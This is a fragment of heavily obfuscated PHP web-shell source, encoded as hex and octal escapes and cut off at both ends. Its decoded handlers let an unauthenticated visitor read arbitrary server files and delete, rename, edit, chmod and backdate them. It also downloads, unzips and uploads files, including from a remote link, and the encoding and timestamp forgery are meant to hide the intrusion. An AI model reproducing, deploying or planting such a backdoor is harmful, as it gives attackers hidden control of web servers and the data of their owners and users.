"\74\57\146\157\x6e\x74\x3e\x20\x26\156\142\x73\x70\x3b\57\x26\x6e\142\x73\x70\x3b\40\131\x6f\165\162\40\x49\120\x20\x3a\40\x3c\146\157\x6e\164\x20\x63\x6f\154\x6f\x72\x3d\147\x6f\x6c\144\76" . $_SERVER["\122\x45\115\x4f\x54\105\137\x41\x44\104\x52"] . "\74\x2f\x66\x6f\x6e\164\76\74\x62\x72\76"; goto YSYov; s5p3N: if (isset($_GET["\146\x69\x6c\x65\x6c\x6f\x63"])) { echo "\x3c\164\162\x3e\x3c\x74\x64\76\x43\x75\162\162\x65\156\x74\40\x46\151\154\145\40\72\40" . $_GET["\x66\151\x6c\x65\154\157\143"]; echo "\74\57\x74\x72\76\x3c\x2f\164\144\76\x3c\57\x74\141\x62\x6c\x65\x3e\x3c\142\162\57\x3e"; echo "\74\160\162\x65\76" . htmlspecialchars(file_get_contents($_GET["\146\x69\154\x65\154\x6f\143"])) . "\74\x2f\160\162\x65\x3e"; author(); } elseif (isset($_GET["\x70\x69\x6c\151\x68\x61\x6e"]) && $_POST["\x70\151\x6c\151\x68"] == "\150\141\x70\x75\x73") { if (is_dir($_POST["\160\x61\x74\x68"])) { xrmdir($_POST["\160\x61\x74\x68"]); if (file_exists($_POST["\x70\x61\164\x68"])) { red("\106\x61\x69\154\145\144\x20\164\x6f\x20\144\145\154\x65\164\x65\x20\x44\151\162\145\x63\x74\157\x72\171\40\x21"); } else { green("\104\145\x6c\145\164\145\40\x44\x69\x72\145\143\x74\157\x72\171\40\123\x75\143\143\x65\163\x73\x20\41"); } } elseif (is_file($_POST["\x70\x61\164\x68"])) { @unlink($_POST["\160\141\164\150"]); if (file_exists($_POST["\x70\x61\164\150"])) { red("\x46\141\151\154\145\x64\x20\164\157\40\104\145\154\145\x74\x65\40\x46\151\x6c\145\40\41"); } else { green("\104\x65\x6c\x65\x74\x65\x20\x46\151\x6c\x65\x20\x3c\151\76" . basename($_POST["\160\141\x74\150"]) . "\74\57\151\76\x20\x53\x75\x63\x63\x65\x73\x73\x20\41"); } } } elseif (isset($_GET["\x70\x69\x6c\x69\150\141\156"]) && $_POST["\160\x69\x6c\x69\x68"] == "\x75\x62\141\150\155\157\x64") { if (!isset($_POST["\143\x65\155\x6f\x64"])) { if ($_POST["\x74\x79" . "\160\x65"] == "\146\x69" . "\154\145") { echo "\74\x63\x65\x6e\x74\145\162\76\x46\x69" . "\x6c\145\x20\x3a\x20" . htmlspecialchars($_POST["\160\x61\164\x68"]) . "\74\142\162\x3e"; } else { echo "\74\x63\x65\x6e\x74\x65\162\x3e\x44" . "\x69\162\40\x3a\40" . htmlspecialchars($_POST["\160\x61\164\x68"]) . "\x3c\142\162\x3e"; } echo "\74\x66\x6f\162\x6d\x20\x6d\x65\x74\x68\x6f\x64\75\x22\160\157\x73\x74\42\x3e\12\40\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x50\x65" . "\x72\x6d\x69" . "\x73\163" . "\151\157\156\x20\72\x20\x3c\x69\x6e\160\165\164\x20\156\x61\x6d\x65\x3d\x22\x70\145\162\x6d\x22\x20\x74\171\160\x65\x3d\42\164\145\x78\164\x22\x20\x63\154\141\x73\163\x3d\x22\x75\160\x22\40\x73\151\x7a\x65\75\x22\x34\42\x20\155\141\x78\x6c\x65\156\x67\x74\150\75\42\x34\x22\40\166\x61\154\x75\145\x3d\42" . $sub($spr("\x25\x6f", $fp($_POST["\x70\x61\x74\x68"])), -4) . "\42\40\57\76\12\x20\40\x20\x20\x20\40\40\40\x20\40\40\x20\x3c\151\x6e\160\x75\x74\x20\x74\x79\x70\145\x3d\42\x68\151\144\144\x65\156\42\40\x6e\x61\x6d\x65\75\x22\x70\x61\x74\x68\x22\x20\166\x61\x6c\165\x65\75\x22" . $_POST["\x70\x61\164\x68"] . "\x22\x3e\12\x20\40\40\40\40\40\40\x20\40\x20\40\x20\74\x69\156\160\165\x74\x20\164\171\160\145\75\x22\150\151\x64\x64\x65\x6e\x22\40\x6e\x61\x6d\x65\75\42\160\x69\154\151\150\42\40\166\141\x6c\x75\x65\x3d\42\165\142\x61\150\155\157\x64\42\76"; if ($_POST["\x74\171" . "\x70\145"] == "\146\x69" . "\x6c\x65") { echo "\x3c\151\x6e\160\165\164\x20\x74\171\x70\145\75\x22\x68\x69\x64\x64\145\156\x22\40\x6e\141\155\x65\x3d\x22\164\171\160\145\x22\x20\x76\141\x6c\x75\145\x3d\42\x66\x69" . "\154\x65\x22\76"; } else { echo "\74\151\156\160\x75\164\x20\x74\171\x70\x65\75\42\x68\151\x64\x64\x65\156\x22\40\x6e\141\x6d\145\x3d\42\x74\171\160\145\42\40\166\141\x6c\x75\145\75\42\x64\x69" . "\x72\x22\76"; } echo "\74\151\156\160\x75\164\40\164\171\x70\145\x3d\x22\x73\165\x62\155\x69\164\42\x20\166\141\154\x75\145\75\x22\103\x68\x61\156\x67\145\x22\40\x6e\x61\x6d\145\75\x22\x63\145\155\x6f\144\x22\40\143\154\141\x73\163\75\x22\165\160\42\40\x73\x74\171\x6c\x65\x3d\x22\x63\165\x72\163\x6f\x72\72\x20\160\x6f\151\156\x74\x65\162\73\40\142\157\162\144\145\162\55\x63\x6f\x6c\x6f\162\x3a\40\x23\x66\146\x66\x22\x2f\76\xa\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\74\x2f\x66\157\x72\x6d\x3e\x3c\142\162\76"; } else { $cm = @$chm($_POST["\x70\x61\164\x68"], $ocd($_POST["\x70\145\162\x6d"])); if ($cm == true) { green("\103\x68\x61\156\147\x65\40\120\x65\x72\x6d\x69\163\163\x69\157\156\40\123\165\x63\x63\145\x73\163\40\x21"); if ($_POST["\164\x79" . "\160\x65"] == "\146\151" . "\154\x65") { echo "\74\143\145\x6e\x74\145\162\x3e\x46\151" . "\154\x65\x20\x3a\x20" . htmlspecialchars($_POST["\160\x61\164\150"]) . "\74\x62\162\x3e"; } else { echo "\74\143\x65\156\164\145\x72\76\x44" . "\151\162\x20\x3a\x20" . htmlspecialchars($_POST["\160\x61\x74\150"]) . "\74\x62\x72\76"; } echo "\74\146\157\x72\x6d\x20\155\145\x74\x68\x6f\x64\x3d\42\160\157\163\x74\42\x3e\xa\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x50\x65" . "\162\x6d\151" . "\x73\x73" . "\151\157\x6e\x20\72\40\74\151\x6e\x70\x75\164\40\x6e\x61\x6d\x65\75\x22\160\145\162\x6d\x22\x20\x74\171\160\145\75\42\x74\x65\170\164\x22\x20\143\x6c\141\x73\163\x3d\42\x75\x70\x22\40\x73\x69\x7a\x65\x3d\x22\x34\42\x20\155\x61\170\x6c\x65\156\x67\x74\150\x3d\x22\64\x22\40\x76\x61\x6c\x75\145\x3d\x22" . $sub($spr("\45\x6f", $fp($_POST["\x70\141\164\150"])), -4) . "\42\40\57\x3e\xa\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\74\x69\156\x70\x75\164\40\x74\171\160\x65\75\x22\150\151\144\x64\x65\x6e\x22\x20\156\141\x6d\145\75\42\x70\x61\164\150\x22\40\x76\x61\154\165\x65\x3d\42" . $_POST["\x70\141\164\x68"] . "\42\76\xa\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x3c\x69\x6e\x70\x75\x74\x20\164\171\160\x65\x3d\x22\150\151\x64\x64\145\156\42\x20\x6e\x61\155\x65\x3d\x22\x70\x69\x6c\x69\150\42\40\x76\141\154\x75\145\x3d\42\165\142\141\150\x6d\157\x64\x22\x3e"; if ($_POST["\x74\171" . "\160\x65"] == "\x66\151" . "\x6c\x65") { echo "\x3c\151\x6e\160\165\164\40\164\171\x70\145\75\42\150\x69\144\144\x65\x6e\42\40\156\141\x6d\x65\75\x22\x74\x79\160\145\x22\40\x76\x61\x6c\x75\x65\75\x22\x66\151" . "\x6c\145\42\x3e"; } else { echo "\x3c\151\x6e\x70\165\x74\x20\x74\171\160\x65\x3d\42\x68\151\144\x64\x65\x6e\x22\40\x6e\141\155\145\x3d\42\x74\x79\160\x65\42\x20\166\x61\154\165\x65\x3d\42\144\151" . "\x72\x22\76"; } echo "\x3c\151\156\x70\165\164\40\x74\171\x70\x65\x3d\x22\x73\165\x62\x6d\151\164\42\40\166\141\x6c\165\x65\x3d\x22\103\x68\x61\156\147\145\42\40\156\141\x6d\145\x3d\x22\143\145\x6d\x6f\x64\x22\x20\x63\154\141\163\x73\x3d\x22\x75\160\x22\40\163\164\171\x6c\145\x3d\x22\x63\165\162\x73\x6f\162\x3a\40\x70\x6f\x69\x6e\x74\x65\x72\x3b\40\x62\x6f\x72\144\145\162\55\143\157\154\157\x72\x3a\x20\43\x66\146\x66\x22\x2f\76\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\40\74\57\146\x6f\x72\x6d\76\x3c\x62\162\76"; } else { red("\103\x68\141\156\147\x65\x20\120\x65\162\x6d\151\163\x73\151\x6f\x6e\40\106\x61\x69\x6c\145\144\x20\41"); if ($_POST["\164\x79" . "\x70\145"] == "\x66\151" . "\154\x65") { echo "\74\x63\x65\x6e\x74\x65\162\76\106\x69" . "\x6c\x65\x20\72\40" . htmlspecialchars($_POST["\x70\x61\164\150"]) . "\x3c\x62\x72\76"; } else { echo "\74\143\x65\156\x74\x65\x72\76\104" . "\x69\162\40\x3a\40" . htmlspecialchars($_POST["\x70\141\164\x68"]) . "\x3c\142\162\x3e"; } echo "\74\x66\157\162\155\x20\155\145\164\150\x6f\x64\75\42\x70\x6f\x73\164\42\76\xa\x20\x20\40\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\x50\145" . "\162\x6d\151" . "\163\163" . "\151\x6f\156\40\x3a\x20\x3c\151\x6e\x70\x75\164\x20\156\141\155\145\75\42\160\145\x72\x6d\x22\x20\164\x79\x70\145\75\x22\x74\x65\170\x74\x22\x20\x63\x6c\x61\x73\x73\x3d\42\165\160\42\x20\x73\x69\x7a\x65\x3d\42\64\42\x20\x6d\x61\170\154\x65\156\147\x74\x68\75\x22\x34\42\40\x76\141\154\x75\x65\75\42" . $sub($spr("\45\x6f", $fp($_POST["\x70\141\x74\x68"])), -4) . "\42\x20\57\x3e\xa\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\74\x69\156\160\x75\x74\x20\164\x79\160\x65\x3d\42\150\151\x64\x64\145\156\x22\40\156\x61\155\145\75\x22\x70\141\164\150\42\40\166\x61\154\x75\145\x3d\42" . $_POST["\x70\x61\164\x68"] . "\42\76\xa\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\74\151\x6e\160\165\x74\40\x74\171\160\145\x3d\42\150\x69\144\144\145\x6e\x22\x20\156\x61\155\x65\x3d\x22\x70\151\x6c\151\150\x22\x20\x76\x61\154\165\x65\75\42\165\142\141\x68\x6d\x6f\x64\42\x3e"; if ($_POST["\x74\171" . "\160\145"] == "\x66\x69" . "\154\145") { echo "\74\151\x6e\x70\x75\x74\x20\x74\x79\x70\145\x3d\x22\x68\x69\144\144\x65\156\x22\40\156\141\x6d\145\75\42\x74\x79\x70\145\x22\x20\166\x61\154\165\x65\75\42\146\151" . "\154\145\x22\x3e"; } else { echo "\74\x69\156\160\165\x74\x20\164\x79\160\x65\x3d\42\150\151\144\x64\x65\156\42\40\x6e\x61\x6d\x65\75\42\x74\x79\x70\145\x22\40\166\141\154\x75\x65\x3d\42\x64\151" . "\x72\x22\76"; } echo "\x3c\151\x6e\160\165\x74\40\164\x79\x70\x65\75\42\163\x75\x62\155\x69\x74\42\40\x76\141\154\x75\145\x3d\42\103\150\141\156\147\x65\42\x20\x6e\141\x6d\145\75\42\x63\145\155\157\x64\x22\40\x63\x6c\x61\x73\163\x3d\42\x75\160\42\40\163\164\x79\x6c\x65\x3d\x22\x63\x75\162\x73\x6f\162\72\x20\x70\x6f\151\x6e\x74\145\162\x3b\x20\x62\157\x72\144\x65\x72\55\x63\157\154\157\162\x3a\x20\43\146\x66\x66\x22\x2f\x3e\xa\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\x3c\x2f\x66\157\162\x6d\x3e\x3c\142\x72\76"; } } } elseif (isset($_GET["\160\151\x6c\x69\150\141\156"]) && $_POST["\x70\x69\x6c\151\x68"] == "\165\142\141\150\x74\141\156\x67\x67\141\154") { if (isset($_POST["\x74\x61\x6e\x67\147\x61\154\145"])) { $stt = "\x73\x74" . "\x72\x74\157\x74" . "\x69\x6d\x65"; $tch = "\164" . "\157\165" . "\x63\x68"; $tanggale = $stt($_POST["\x74\141\156\x67\x67\141\154"]); if (@$tch($_POST["\x70\x61\164\x68"], $tanggale) === true) { green("\103\x68\x61\156\x67\145\40\x44\x61" . "\164\145\40\x53\165\x63\x63" . "\x65\x73\x73\40\41"); $det = "\x64\141" . "\164\145"; $ftm = "\146\x69" . "\154\x65" . "\x6d\x74\x69" . "\155\145"; $b = $det("\x64\40\x46\40\x59\40\110\x3a\x69\x3a\163", $ftm($_POST["\160\141\x74\150"])); if ($_POST["\x74\x79" . "\x70\x65"] == "\146\151" . "\x6c\145") { echo "\x3c\x63\145\156\164\145\x72\x3e\106\151" . "\154\145\x20\x3a\40" . htmlspecialchars($_POST["\160\141\164\150"]) . "\x3c\142\162\x3e"; } else { echo "\x3c\143\x65\x6e\164\145\162\76\104" . "\151\162\40\72\40" . htmlspecialchars($_POST["\x70\141\164\x68"]) . "\x3c\x62\x72\76"; } echo "\x3c\146\x6f\x72\155\40\155\x65\x74\150\x6f\x64\x3d\x22\x70\x6f\x73\164\42\x3e\xa\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\116\x65\x77\x20\x44\141" . "\x74\x65\40\x3a\x20\x3c\x69\x6e\160\165\x74\x20\156\141\x6d\145\75\x22\164\141\x6e\x67\x67\x61\x6c\x22\x20\164\x79\x70\x65\75\x22\x74\145\170\x74\42\x20\x63\x6c\141\x73\163\x3d\x22\165\160\42\40\x73\151\x7a\145\75\42\x32\60\42\x20\166\141\154\x75\145\x3d\42" . $b . "\42\40\x2f\76\xa\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x3c\151\x6e\160\x75\164\x20\x74\171\x70\145\x3d\x22\x68\x69\x64\144\x65\x6e\42\x20\156\141\155\x65\x3d\x22\x70\141\164\150\42\x20\x76\x61\x6c\165\x65\x3d\x22" . $_POST["\160\x61\x74\x68"] . "\42\x3e\12\40\40\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\40\74\151\156\160\x75\x74\x20\x74\171\160\145\75\42\150\x69\x64\x64\x65\156\42\40\x6e\141\155\145\x3d\x22\x70\151\x6c\151\x68\x22\40\166\x61\x6c\x75\x65\x3d\42\165\x62\141\150\x74\141\x6e\147\147\x61\154\42\76"; if ($_POST["\x74\x79" . "\x70\145"] == "\x66\x69" . "\x6c\145") { echo "\74\151\156\x70\165\164\40\164\171\160\145\75\42\x68\x69\144\144\x65\156\x22\x20\156\x61\x6d\145\75\x22\164\x79\160\x65\42\40\166\141\154\x75\x65\x3d\x22\146\x69" . "\154\145\42\x3e"; } else { echo "\x3c\x69\156\160\x75\x74\40\x74\171\160\x65\x3d\42\x68\151\x64\144\x65\x6e\x22\x20\156\x61\155\x65\x3d\42\164\171\x70\x65\42\x20\166\x61\x6c\x75\x65\x3d\x22\x64\x69" . "\162\x22\x3e"; } echo "\74\151\156\160\165\x74\x20\164\x79\160\x65\x3d\42\x73\165\142\x6d\x69\x74\42\40\166\141\x6c\165\x65\x3d\x22\x43\x68\141\156\147\x65\42\40\156\141\155\145\75\42\164\141\x6e\147\x67\141\154\145\x22\x20\x63\x6c\x61\x73\x73\75\x22\165\160\x22\x20\x73\x74\171\154\x65\x3d\42\x63\165\x72\x73\x6f\x72\x3a\40\x70\x6f\x69\x6e\164\x65\x72\x3b\x20\x62\157\162\x64\x65\x72\x2d\143\157\x6c\157\x72\x3a\x20\43\146\146\x66\42\57\x3e\xa\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\x20\x20\74\57\x66\157\162\155\76\74\142\162\76"; } else { red("\106\x61\151" . "\154\x65\144\x20\x74\x6f\x20\x43\150\141" . "\156\x67\x65\40\104\141" . "\164\145\40\x21"); } } else { $det = "\x64\x61" . "\164\145"; $ftm = "\146\151" . "\x6c\145" . "\155\x74\151" . "\155\x65"; $b = $det("\144\x20\x46\x20\131\40\110\72\151\72\163", $ftm($_POST["\x70\x61\164\x68"])); if ($_POST["\x74\x79" . "\160\x65"] == "\146\151" . "\x6c\145") { echo "\74\x63\145\x6e\x74\145\x72\x3e\106\x69" . "\x6c\145\x20\72\x20" . htmlspecialchars($_POST["\160\141\164\150"]) . "\74\x62\x72\x3e"; } else { echo "\x3c\x63\145\x6e\x74\x65\x72\x3e\104" . "\151\x72\x20\x3a\40" . htmlspecialchars($_POST["\x70\141\x74\x68"]) . "\74\x62\162\x3e"; } echo "\x3c\x66\157\162\x6d\40\155\x65\164\x68\157\144\75\x22\160\157\163\x74\42\x3e\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x4e\145\167\x20\x44\141" . "\x74\x65\40\x3a\40\x3c\151\x6e\x70\x75\164\40\x6e\x61\155\145\75\42\x74\x61\x6e\x67\x67\x61\154\42\40\164\171\x70\x65\x3d\42\x74\145\170\164\x22\40\143\x6c\141\163\x73\75\42\165\x70\42\x20\163\151\172\x65\75\x22\62\x30\42\x20\166\x61\154\165\145\x3d\42" . $b . "\42\40\57\76\12\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\40\74\151\x6e\160\x75\164\40\x74\x79\160\x65\x3d\x22\150\x69\x64\x64\x65\156\x22\x20\156\x61\155\145\x3d\42\160\x61\164\150\x22\40\166\141\x6c\165\145\75\x22" . $_POST["\x70\141\x74\150"] . "\x22\76\12\x20\40\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x3c\x69\x6e\x70\x75\x74\x20\164\x79\160\145\75\42\x68\x69\x64\x64\145\156\42\x20\156\x61\155\145\x3d\42\160\x69\154\151\x68\x22\x20\166\x61\x6c\165\145\x3d\42\x75\142\141\x68\164\x61\156\147\147\141\x6c\42\76"; if ($_POST["\x74\x79" . "\x70\145"] == "\x66\x69" . "\x6c\145") { echo "\x3c\151\156\x70\165\x74\40\164\x79\160\x65\75\x22\x68\151\144\x64\145\x6e\42\40\x6e\x61\x6d\145\x3d\x22\x74\171\x70\x65\x22\x20\x76\x61\154\165\145\x3d\x22\x66\151" . "\154\145\42\x3e"; } else { echo "\x3c\151\156\x70\165\x74\x20\164\171\x70\145\75\x22\x68\x69\144\x64\x65\156\42\x20\156\x61\155\x65\75\42\x74\x79\160\x65\42\x20\x76\x61\154\165\145\x3d\x22\x64\151" . "\162\42\x3e"; } echo "\x3c\x69\x6e\160\165\x74\x20\164\171\x70\145\x3d\42\x73\165\x62\x6d\151\164\x22\x20\166\141\x6c\165\x65\x3d\x22\103\150\x61\x6e\147\145\x22\40\156\141\x6d\x65\x3d\42\x74\x61\x6e\x67\147\x61\154\145\x22\40\x63\154\141\163\x73\75\42\165\160\x22\40\x73\x74\x79\x6c\145\x3d\42\x63\165\162\x73\x6f\x72\72\40\x70\157\x69\x6e\164\x65\162\x3b\x20\x62\157\x72\144\x65\162\55\x63\x6f\x6c\x6f\x72\x3a\40\x23\146\x66\146\x22\57\x3e\xa\40\40\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\x3c\57\x66\157\162\155\76\74\x62\162\x3e"; } } elseif (isset($_GET["\160\151\x6c\151\x68\x61\x6e"]) && $_POST["\160\151\154\151\150"] == "\147\x61\156\164\151\156\141\155\x61") { if (isset($_POST["\x67\141\156\x74\151\156"])) { $ren = @rename($_POST["\160\x61\164\x68"], $_POST["\156\x65\x77\156\141\x6d\145"]); if ($ren == true) { green("\103\x68\x61\x6e\147\145\x20\116\x61\155\x65\40\x53\x75\143\x63\145\x73\x73\x20\x21"); } else { red("\x43\x68\141\156\147\x65\x20\116\141\155\145\40\x46\141\151\154\x65\x64\x20\x21"); } } if (empty($_POST["\156\141\x6d\x65"])) { $namaawal = $_POST["\x6e\x65\167\156\141\x6d\x65"]; } else { $namawal = $_POST["\156\x61\155\x65"]; } echo "\74\143\x65\x6e\x74\x65\x72\x3e" . $_POST["\x70\x61\164\150"] . "\74\x62\x72\76"; echo "\74\146\157\x72\x6d\x20\x6d\x65\x74\150\157\x64\75\x22\x70\x6f\163\x74\x22\x3e\12\x20\40\40\40\116\x65\167\40\x4e\141\x6d\145\x20\x3a\x20\x3c\151\156\x70\x75\164\x20\156\141\155\x65\x3d\42\156\145\x77\x6e\x61\x6d\145\42\x20\164\x79\x70\145\75\42\164\145\170\164\42\40\x63\154\x61\163\x73\x3d\x22\165\x70\42\x20\x73\x69\x7a\x65\x3d\42\x32\x30\42\x20\x76\x61\x6c\x75\x65\75\42" . htmlspecialchars($bsn($_POST["\160\x61\x74\150"])) . "\42\40\x2f\76\12\x20\x20\x20\40\74\x69\156\x70\165\164\x20\164\x79\160\x65\75\42\150\151\x64\144\145\156\x22\40\x6e\x61\155\145\75\42\160\x61\164\150\x22\x20\166\x61\154\165\x65\75\42" . $_POST["\160\141\164\150"] . "\42\x3e\12\x20\40\x20\40\74\151\x6e\160\x75\x74\x20\164\x79\160\x65\75\x22\x68\151\144\x64\145\156\x22\40\x6e\x61\x6d\145\x3d\x22\160\151\x6c\151\x68\x22\40\x76\141\x6c\165\145\75\x22\147\x61\x6e\x74\x69\x6e\141\155\141\42\76\12\x20\40\40\40\x3c\x69\x6e\160\165\164\40\x74\x79\x70\x65\75\42\163\165\x62\155\151\x74\42\40\x76\x61\154\165\145\75\42\x43\x68\141\x6e\147\145\x22\x20\156\141\x6d\x65\75\42\147\x61\x6e\x74\151\156\x22\40\x63\x6c\x61\x73\x73\x3d\x22\x75\x70\x22\40\x73\164\x79\154\145\x3d\42\143\165\162\163\157\162\x3a\40\x70\157\151\156\164\x65\x72\73\x20\142\157\162\144\x65\x72\55\143\x6f\154\x6f\x72\x3a\40\x23\x66\146\x66\x22\x2f\76\12\40\40\40\40\74\x2f\x66\157\162\x6d\x3e"; } elseif (isset($_GET["\160\x69\x6c\x69\150\141\156"]) && $_POST["\160\151\154\151\x68"] == "\x65\x64\x69\164") { if (isset($_POST["\147\141\163\x65\144\151\x74"])) { $edit = @file_put_contents($_POST["\160\141\x74\x68"], $_POST["\163\162\x63"]); if ($edit == true) { green("\x45\144\x69\x74\x20\106\151\x6c\145\x20\123\x75\x63\143\x65\163\163\x20\x21"); } else { red("\105\x64\151\x74\40\x46\x69\154\145\40\106\x61\x69\x6c\145\x64\40\x21"); } } echo "\74\x63\x65\x6e\164\x65\x72\x3e" . $_POST["\160\x61\x74\150"] . "\x3c\142\x72\x3e\x3c\x62\x72\x3e"; echo "\x3c\x66\x6f\x72\x6d\x20\155\x65\164\x68\x6f\144\75\42\x70\x6f\x73\x74\42\x3e\xa\x20\x20\40\40\x3c\x74\145\x78\164\x61\162\x65\x61\x20\x63\x6f\x6c\x73\x3d\x38\x30\x20\162\157\x77\163\x3d\x32\60\x20\x6e\141\x6d\x65\75\x22\163\x72\143\x22\76" . htmlspecialchars(file_get_contents($_POST["\x70\x61\164\150"])) . "\74\x2f\x74\x65\170\164\x61\x72\145\x61\x3e\x3c\142\162\76\12\40\x20\x20\x20\74\x69\156\x70\165\164\40\x74\x79\x70\x65\x3d\42\x68\x69\x64\144\145\156\42\x20\156\x61\x6d\145\75\x22\160\x61\x74\150\x22\40\x76\x61\x6c\x75\145\75\42" . $_POST["\x70\x61\x74\x68"] . "\42\x3e\12\x20\x20\40\x20\x3c\151\x6e\160\165\164\40\x74\x79\x70\145\75\42\x68\x69\144\x64\145\x6e\x22\x20\x6e\x61\x6d\145\x3d\x22\160\x69\x6c\x69\x68\42\40\166\x61\x6c\165\x65\75\42\x65\x64\151\x74\x22\x3e\xa\40\x20\40\40\x3c\151\156\x70\165\x74\x20\x74\x79\160\145\x3d\42\163\x75\x62\x6d\151\164\x22\x20\166\x61\154\165\145\x3d\x22\105\144\151\x74\x20\x46\151\154\145\x22\40\x6e\141\x6d\145\x3d\42\147\x61\x73\145\144\151\164\x22\40\57\x3e\12\40\40\40\x20\x3c\x2f\146\157\162\155\x3e\x3c\142\x72\76"; } elseif (isset($_GET["\160\151\154\x69\x68\x61\156"]) && $_POST["\x70\x69\154\x69\x68"] == "\x64\165\156\154\165\x74") { dunlut($_POST["\160\x61\x74\x68"]); } elseif (isset($_GET["\160\x69\154\151\x68\141\x6e"]) && $_POST["\x70\151\x6c\151\x68"] == "\x75\x6e\172\151\160") { unzip($_POST["\160\141\164\150"], $lokasi); } elseif (isset($_GET["\x75\x70\x6c\x6f\x61\x64"])) { echo "\x3c\x63\145\156\164\x65\x72\x3e\x55\x70\154\157\141\144\x20\106\151\154\145\40\72\40"; echo "\x3c\x66\157\x72\155\x20\x65\x6e\x63\x74\171\160\145\x3d\x22\155\x75\x6c\x74\x69\x70\141\162\x74\57\146\157\162\x6d\55\144\x61\164\141\x22\40\x6d\145\x74\150\157\x64\x3d\x22\160\x6f\x73\164\x22\x3e\xa\74\151\156\x70\165\164\x20\164\171\160\145\75\42\162\x61\x64\151\x6f\42\40\166\x61\x6c\165\x65\x3d\x22\61\x22\40\x6e\x61\155\145\75\x22\144\151\162\x6e\x79\141\42\40\143\x68\x65\x63\x6b\145\x64\x3e\x63\165\162\x72\x65\156\x74\137\144\x69\162\40\133\x20" . cekdir() . "\x20\x5d\xa\74\151\156\160\165\164\x20\164\x79\160\145\75\x22\x72\141\144\x69\157\x22\x20\x76\141\154\165\x65\x3d\42\62\x22\x20\x6e\141\155\145\75\42\144\x69\162\156\x79\x61\x22\40\76\144\x6f\x63\x75\x6d\x65\156\164\x5f\x72\x6f\x6f\x74\40\133\x20" . cekroot() . "\40\x5d\12\74\x62\x72\76\12\x3c\151\x6e\x70\165\164\40\164\171\160\145\x3d\42\x68\x69\x64\x64\145\x6e\42\40\156\141\x6d\145\75\x22\x75\x70\167\x6b\x77\x6b\42\40\166\141\x6c\165\145\x3d\42\x61\160\x6c\157\x64\x22\x3e\12\74\151\156\x70\165\x74\x20\164\171\x70\145\x3d\x22\x66\x69\154\145\42\x20\156\x61\x6d\145\75\x22\142\145\162\153\x61\163\x22\76\74\x69\x6e\160\165\x74\x20\164\171\x70\x65\x3d\x22\x73\x75\142\x6d\151\x74\42\40\156\141\x6d\x65\75\x22\x62\145\x72\x6b\141\x73\x6e\171\x61\42\40\166\141\x6c\165\x65\x3d\x22\125\x70\154\157\x61\x64\42\x20\143\154\141\163\x73\75\42\x75\160\x22\40\163\164\171\x6c\145\x3d\x22\x63\x75\162\163\157\162\x3a\x20\160\x6f\x69\156\164\x65\162\73\x20\142\x6f\x72\144\145\x72\x2d\x63\x6f\x6c\x6f\x72\72\x20\x23\x66\x66\x66\42\x3e\74\x62\x72\76\x3c\142\x72\76\xa\x55\160\x6c\157\x61\144\x20\106\x69\154\x65\40\x46\x72\157\x6d\x20\114\x69\x6e\x6b\x20\x3a\74\142\162\76\xa\x3c\x69\x6e\160\x75\164\x20\x74\171\160\x65\75\42\164\145\x78\x74\x22\x20\156\141\155\145\x3d\42\x64\141\162\151\154\151\x6e\x6b\x22\x20\143\154\141\x73\163\75\42\165\x70\42\x20\160\x6c\x61\x63\145\x68\157\x6c\x64\x65\x72\x3d\x22\150\x74\x74\160\163\72\x2f\57\x34\60\x34\x6e\157\x74\x66\157\165\156\x64\x2e\x69\x64\57\165\160\x6c\x6f\x61\144\x2e\164\170\x74\x22\x3e\46\156\142\163\x70\x3b\74\151\x6e\160\165\164\x20\164\x79\x70\x65\75\42\x74\145\x78\164\x22\40\x6e\x61\x6d\x65\75\x22\x6e\141\x6d\141\154\x69\156\x6b\x22\40\143\x6c\141\163\163\75\x22\165\160\42\x20\x73\x69\172\x65\x3d\42\x33\42\x20\160\154\x61\143\145\150\157\x6c\x64\x65\x72\x3d\42\x66\x69\x6c\x65\x2e\x74\170\x74\x22\76\x3c\x69\156\x70\x75\164\x20\x74\x79\x70\145\75\42\163\165\x62\155\151\164\x22\40\156\x61\x6d\x65\x3d\42\154\151\156\153\x6e\x79\x61\42\40\x63\x6c\x61\x73\x73\75\42\165\x70\x22\x20\166\141\x6c\x75\145\75\42\125\160\154\157\x61\144\x22\x20\x73\164\x79\x6c\145\x3d\42\x63\x75\x72\x73\x6f\x72\72\40\x70\x6f\x69\x6e\164\x65\162\x3b\40\x62\157\162\144\145\x72\55\x63\x6f\154\x6f\x72\72\40\43\146\x66\146\x22\x3e\xa\74\142\x72\76\x3c\142\162\76\64\x30\x33\40\125\160\x6c\x6f\141\x64\40\x46\151\154\x65\x3c\x62\x72\76\12\74\x69\156\160\165\x74\x20\x74\x79\160\145\75\42\x66\151\x6c\145\42\40\151\x64\x3d\42\144\141\x74\141\x6e\x79\x61\42\x20\x6f\x6e\143\150\x61\156\x67\145\x3d\42\163\145\x74\x66\x69\154\x65\156\x61\155\145\50\164\x68\151\x73\56\166\141\x6c\x75\145\x29\73\40\154\157\141\144\x46\151\x6c\145\50\x74\150\x69\x73\x2e\146\151\154\145\163\x5b\x30\x5d\x29\x22\x2f\76\12\74\151\156\160\165\x74\x20\x74\171\x70\145\75\x22\x68\x69\144\x64\x65\156\42\x20\x6e\x61\x6d\x65\x3d\42\x62\x65\x70\x61\x73\x6e\x61\155\x61\42\x20\151\x64\75\42\x6e\x61\x6d\x61\x6e\171\141\x22\7